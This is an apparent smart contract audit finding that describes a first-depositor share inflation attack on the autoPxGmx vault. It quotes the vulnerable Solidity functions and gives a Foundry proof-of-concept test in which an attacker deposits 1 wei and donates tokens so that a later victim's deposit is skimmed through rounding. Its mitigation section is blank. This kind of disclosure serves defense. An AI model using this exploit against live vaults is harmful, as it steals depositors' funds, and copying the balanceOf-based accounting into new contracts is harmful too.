A malicious early user/attacker can manipulate the pxGmx's pric…

twicek security

Auditor
Smart Contract Engineer
Security Engineer
Solidity

A malicious early user/attacker can manipulate the pxGmx's pricePerShare to take an unfair share of future user's deposits

Lines of code

Vulnerability details

Impact

An attacker/early user can deposit 1 wei in the vault and increase the price per share by sending a very high value of the underlying directly to the vault, causing next vault depositors to:
not be able to deposit less than the very high share price set by the attacker.
lose value due to rounding error.
redeem uses previewRedeem to calculate assets per shares.
function redeem( uint256 shares, address receiver, address owner ) public override returns (uint256 assets) { // Compound rewards and ensure they are properly accounted for prior to redemption calculation compound(poolFee, 1, 0, true); if (msg.sender != owner) { uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares; } // Check for rounding error since we round down in previewRedeem. require((assets = previewRedeem(shares)) != 0, "ZERO_ASSETS"); _burn(owner, shares); emit Withdraw(msg.sender, receiver, owner, assets, shares); asset.safeTransfer(receiver, assets); }
previewRedeem uses convertToAssets to do the conversion from shares to assets.
function previewRedeem(uint256 shares) public view override returns (uint256) { // Calculate assets based on a user's % ownership of vault shares uint256 assets = convertToAssets(shares); uint256 _totalSupply = totalSupply; // Calculate a penalty - zero if user is the last to withdraw uint256 penalty = (_totalSupply == 0 || _totalSupply - shares == 0) ? 0 : assets.mulDivDown(withdrawalPenalty, FEE_DENOMINATOR); // Redeemable amount is the post-penalty amount return assets - penalty; }
convertToAssets do the calculation using totalAssets.
function convertToAssets(uint256 shares) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? shares : shares.mulDivDown(totalAssets(), supply); }
totalAssets is determined by asset.balanceOf(address(this)), which can be manipulated by an early user.
function totalAssets() public view override returns (uint256) { return asset.balanceOf(address(this)); }

Proof of Concept

Add: import "forge-std/console.sol"; (if you want to see the logs) Run: scripts/forgeTest.sh --match-test "Early" -vvv
function testEarlyVaultAttack() public { address attacker = address(0x01); address victim1 = address(0x02); address victim2 = address(0x03); deal(address(pxGmx), attacker, 100000 ether); deal(address(pxGmx), victim1, 100000 ether); deal(address(pxGmx), victim2, 100000 ether); changePrank(attacker); pxGmx.approve(address(autoPxGmx), type(uint).max); changePrank(victim1); pxGmx.approve(address(autoPxGmx), type(uint).max); changePrank(victim2); pxGmx.approve(address(autoPxGmx), type(uint).max); // Attack start here changePrank(attacker); assert(autoPxGmx.totalSupply() == 0); autoPxGmx.deposit(1 wei, attacker); autoPxGmx.previewRedeem(1 wei); // attacker get 1 share of the vault (price per share is 1:1) assert(autoPxGmx.balanceOf(attacker) == 1); // Donate large amount directly to the vault pxGmx.transfer(address(autoPxGmx), 1000 ether); autoPxGmx.totalSupply(); // Victim cannot deposit less than 1000 ether + 1 wei changePrank(victim1); vm.expectRevert(); autoPxGmx.deposit(1000 ether, victim1); autoPxGmx.balanceOf(victim1); // Victim deposit changePrank(victim2); autoPxGmx.deposit(1000 ether + 1 wei + 1000 ether, victim2); // One share cost 1000 + 1 ether console.log("balanceOf victim2 = ", autoPxGmx.balanceOf(victim2)); // Victim only get one share of the vault console.log("totalSupply before attacker redeem = ", autoPxGmx.totalSupply()); console.log("balanceOf attacker = ", pxGmx.balanceOf(attacker)); changePrank(attacker); autoPxGmx.redeem(1, attacker, attacker); console.log("totalSupply after attacker redeem = ", autoPxGmx.totalSupply()); console.log("balanceOf attacker = ", pxGmx.balanceOf(attacker)); changePrank(victim2); autoPxGmx.redeem(1, victim2, victim2); console.log("totalSupply after victim2 redeem = ", autoPxGmx.totalSupply()); console.log("balanceOf victim2 = ", pxGmx.balanceOf(victim2)); }

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Partner With twicek
View Services

More Projects by twicek